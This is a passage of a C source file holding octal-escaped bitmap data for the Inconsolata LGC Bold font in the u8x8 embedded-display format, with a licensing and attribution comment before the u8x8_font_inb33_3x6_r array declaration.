"\0\0\0\0\200\360\370\374\376\177\37\17\17\7\7\7\7\7\17\17\77\377\376\376\370\360\200\0\77\377\377\377" "\377\340\200\0\0\0\0\0\0\0\0\0\200\340\377\377\377\377\77\0\0\0\3\7\17\17\37\37>>><" ">>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0\0\300\340\360\360\360\340\300\0\0\0\0\0\0\0\1" "\3\7\7\207\203\201\200\200\200\201\203\207\207\7\3\1\0\0\0\0\200\360\370\374\376\177\37\17\17\7\7\7" "\7\7\17\17\77\377\376\376\370\360\200\0\77\377\377\377\377\340\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\0\3\7\17\17\37\37>>><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\360\340\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\361\363\363\363\363\361\360\360\360\360\360\360\360\0\0\0\0\0\0\0" "\0\0\0\0\360\370\370\370\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\200\200\200\200\200\200\200\200\340\360\360\340`\0\0\0\200\360\370\374\376\377\77\17\17\7\7\307" "\367\377\377\177\37\177\377\377\374\360\200\0\77\377\377\377\377\300\200\340\370\376\177\77\17\3\0\0\200\340\377\377" "\377\377\77\0\0@\343\377\377\377\77\37\77\77><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20x\374\374\374" "\360\300\200\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\3\7\17\17\7\2\300\300\300\300" "\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\177\377\377" "\377\377\300\200\0\0\0\0\0\0\200\340\377\377\377\377\377\0\0\0\0\0\1\7\7\17\17\37\37\37\36\37" "\37\17\17\7\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\374\374x\20\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\2\7\17\17\7\1\0\0\300\300\300\300\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\177\377\377\377\377\300\200\0\0\0\0\0\0\200\340\377\377\377\377" "\377\0\0\0\0\0\1\7\7\17\17\37\37\37\36\37\37\17\17\7\37\37\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374" "\370\360\300\200\0\0\0\0\0\0\0\0\0\200\200\200\200\214\37\37\17\7\1\1\3\17\37\37\237\214\200\200" "\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377" "\377\377\200\0\0\0\0\0\0\0\0\300\377\377\377\377\377\0\0\0\0\0\3\17\17\37\37\77>><>" ">\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0\0\300\340\360\360\360\340\300\0\0\0\0\0\200\200\201" "\203\207\7\7\3\1\0\0\0\1\3\7\207\207\203\201\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\0\3\17\17\37\37\77>><>>\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360" "\374\374\374x\60\0\0\0\0\0\0\0\300\300\300\300\300\300\0\0\2\7\17\17\7\3\0\0\0\200\300\300" "\300\300@\0\0\3\17\177\377\377\374\360\200\0\0\0\0\0\0\300\370\377\377\177\37\3\0\0\0\0\0\0" "\1\7\37\377\377\376\360\300\300\370\377\377\177\17\3\0\0\0\0\0\0\200\0\0\0\0\0\0\203\377\377\377" "\377\77\17\1\0\0\0\0\0\0\0\0\37\37>><>>\77\37\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\200\200\200\300\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377>\17\17\7\7\7" "\7\7\17\17\37\377\377\376\374\360\300\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\377\377\377\377\377\17\37\36\36><>>>\77\37\37\17\7\3\1\0\0\0\177\177\177" "\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0" "\0\300\340\360\360\360\340\300\0\0\0\0\200\200\200\201\203\207\7\7\3\1\0\0\0\1\3\7\7\7\203\201" "\200\200\200\0\0\7\37\177\377\377\374\360\200\0\0\0\0\0\0\200\340\374\377\377\177\37\3\0\0\0\0\0" "\3\17\77\377\377\376\360\300\200\340\374\377\377\77\17\3\0\0\0\0\0\0\0\0\0\0\0\1\7\337\377\377" "\377\377\77\7\1\0\0\0\0\0\0\0>\77~||||~\77\77\37\17\7\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb33_3x6_r[13684] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_r") = " ~\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360" "\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\17\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\17\217\217\217\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\37\77\77\77" "\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0" "\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0" "\0\0\0\300\300\300\300\300\0\0\0\0\200\200\200\200\200\200\376\377\377\377\217\200\200\200\200\377\377\377\377\203" "\200\200\200\200\7\7\7\7\7\377\377\377\377\17\3\3\3\203\377\377\377\377\7\7\7\7\7\0<<<<" "\374\377\377\377\77<<<<\377\377\377\377\77<<<<\14\0\0\0\0x\177\177\177\37\0\0\0\0" "\177\177\177\177\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\360\360\360\360\200\200\0\0\0\0\0\0\0\0\0\0\360\370" "\374\376\377\37\17\7\377\377\377\377\7\17\17\37\177>\34\10\0\0\0\0\1\7\17\37\37\77>|\377\377" "\377\377\360\360\340\340\340\300\200\0\0\0\0\0\300\340\340\300\200\0\0\0\377\377\377\377\1\1\203\307\377\377" "\377\377~\0\0\1\3\7\7\17\17\17\37\36\377\377\377\377\36\17\17\17\7\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0" "\0\0\0\0\0\300\300\300\300@\0\0\377\377\377\307\307\307\307\377\377\377\377|\200\340\370\374\377\77\37\7" "\1\0\0\0\1\3\3\7\7\7\7\7\303\363\375\376\177\37\7\3\0\0\0\0\0\0\0\0\0\0\0\200" "\340\370\376\377\77\17\3\361\374\376\376\37\37\37\37\376\376\374\360\0\60<\77\77\37\7\1\0\0\0\0\3" "\17\37\37>>>>\37\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\374" "\376\377\377\377\17\7\3\7\17\377\377\377\376\374\0\0\0\0\0\0\0\0\200\300\303\357\377\377\177\374\370\374" "\377\337\17\7\3\0\0\200\200\200\0\0\370\376\377\377\377\207\1\0\0\0\1\7\17\277\377\376\374\370\374\377" "\377\77\17\6\1\7\17\37\37\37>>>>>>\37\37\17\17\7\7\17\77\77\37\34\10\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\360" "\360\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\360\370xx`\0\0\0\0\0\0\0" "\0\0\200\340\370\374\377\377\77\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\17\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\377\377\377\377\370\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\377\376\370\360\300\200\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77\36\14\0\0\0\0\0\300\360\360\340\340\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\37\77\377\376\374\360\340\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\376\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\377\377\377\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376" "\377\177\37\17\1\0\0\0\0\0\0\0\0\0<|>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\70>><|xxp\360\377\377\377" "\377\361pxx|<<>\70 \0\0\0@\340\360\370\376\177\77\17\7\3\17\37\177\376\374\370\340\300" "\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0xxxxxxxxx\377\377\377\377\377xxxxxxxx\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0 \60x~\77\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\360\360\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\200\340\374\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0`x\376\377\177\37\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\300\360\374" "\376\377\177\37\17\7\7\7\7\17\337\377\377\376\374\360\300\0\0\0\376\377\377\377\377\3\0\0\200\340\360\370" "~\37\17\7\1\377\377\377\377\376\0\0\7\77\377\377\377\370\374\237\17\7\1\0\0\0\0\300\370\377\377\377" "\177\7\0\0\0\0\0\3\7\17\37\37\77>>>>>\37\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\34\34\36\36\17\17\17\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\10\34" ">\177\37\17\7\7\7\3\7\7\7\17\77\377\377\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\340\370\374\377\177\77\17\3\0\0\0\0\0\0\200\340\360\370\374\376\77\37\17\7\7\3\1\0\0\0" "\0\0\0\0\0\0<\77\77\77\77\77=<<<<<<<<<<<>>\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\6\17\37\17\7\7\7\7\7\7\7\7\37\377\377\376\374\370" "\0\0\0\0\0\0\0\0\0\0xx||||\374\376\377\377\377\347\303\201\0\0\0\0\0\0\0\300" "\300\0\0\0\0\0\0\0\0\0\1\303\377\377\377\377\376\0\0\0\0\6\17\17\37\37>>>>>>" ">>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\300\340\370\374\177\377\377\377\377\377\0\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0" "\0\377\377\377\377\377\0\0\0\0\0\0<\77\77\77\77=<<<<<<<\377\377\377\377\377<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\60\177\177\377\77\77\36\37\37\37\37\37\37>\376\374\374\370\340\200\0\0\0\0\200\300" "\300\300\200\0\0\0\0\0\0\0\0\0\300\377\377\377\377\177\0\0\0\1\3\7\17\37\37\37>>><" ">>>\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370" "\374\376\377\77\17\7\7\7\3\7\7\7\17\17\7\2\2\0\0\0\0\377\377\377\377\377\374>>\37\37\17" "\37\37\77\376\376\374\370\340\200\0\0\0\0\37\377\377\377\377\360\200\0\0\0\0\0\0\0\300\377\377\377\377" "\177\0\0\0\0\0\0\3\7\17\37\37\77>><>>\77\37\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\303\363\377\377\377\77\17" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\377\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\77\77\77\77\17\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\370\374" "\376\377\377\17\7\7\7\3\7\7\17\37\377\377\377\374\370\0\0\0\0\0\1\203\317\317\377\377\376|xx" "x\370\374\377\377\317\307\203\0\0\0\0\0\370\376\377\377\377\307\1\0\0\0\0\0\0\1\1\207\377\377\377" "\376\374\0\0\0\0\3\7\17\37\37\37>>><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\7\7\7\7\7\7\37\177\377\376\374\360" "\200\0\0\0\0\17\77\177\377\377\370\360\340\300\300\300\300\340\340\360\377\377\377\377\377\0\0\0\0\0\0\0" "\200\201\3\3\3\3\3\3\3\3\201\361\377\377\377\177\17\0\0\0\0\4\16\17\37\37>>><>>" ">\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>\177\177\177" ">\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376" "\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60|\77\77\37\7\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\200\300\300\340\340\360\360\370\370||>>\37\37\0\70|\374\376\376\377\357\357\307\207\207\3" "\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\17\17\37\37>>||\370\370\360" "\360\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0<<<<" "<<<<<<<<<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37>>" "||\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3" "\203\207\307\357\357\377\376\376\374|\70\0\340\340\360\360\370\370||>>\37\37\17\17\7\3\3\1\1\0" "\0\0\0\0\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\360\360\360\360" "\360\360\360\340\340\300\200\0\0\0\0\0\0\6\7\17\37\17\3\3\1\1\1\1\1\1\3\207\377\377\377\377" "\374\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\376\177\77\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\7\207\207\207\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\37\77\77" "\77\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374\376" "\177\77\17\17\7\7\7\3\7\207\207\207\217\277\376\374\370\340\0\0\377\377\377\3\0\0\0\360\374\376\376\37" "\17\17\17\17\17\207\377\377\377\377\0\0\77\377\377\374\360\300\200\1\7\17\37\37\36\36\36\36\37\17\37\37" "\37\37\0\0\0\0\1\3\7\17\17\37\37>>>><>>>\36\37\17\14\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\376\370\300\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377" "\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0" "\0\0\0\0\0\7\37\77\77\77< \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377\377" "\377\3\3\3\3\3\7\7\7\7\17\37\377\377\376\374\370\0\0\0\377\377\377\377\377xxxxx||" "|\374\376\377\377\377\317\207\1\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\1\203\377\377\377" "\377\374\0\0\77\77\77\77\77<<<<<<>>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\177\177" "~<\60\0\376\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377" "\377\374\340\200\0\0\0\0\0\0\0\0\0\0\300\300\300\200\0\0\0\0\0\3\7\17\17\37\37\77>>" ">>>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377" "\377\3\3\3\3\7\7\7\7\17\37\177\377\376\374\370\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\1\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377" "\77\7\0\0\77\77\77\77\77<<<>>>>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\300\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\377\377\377\377\377xxxxxxxxxxxxx\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77<<<<<<" "<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\377\377" "\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\377\377\377\377\377xxxxx" "xxxxxxx\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300" "\300\300\300\300\200\200\200\0\0\0\0\0\0\300\360\374\376\377\77\37\17\7\7\7\7\7\7\7\17\17\77\177" "><\30\0\376\377\377\377\377\1\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\0\7\177\377\377" 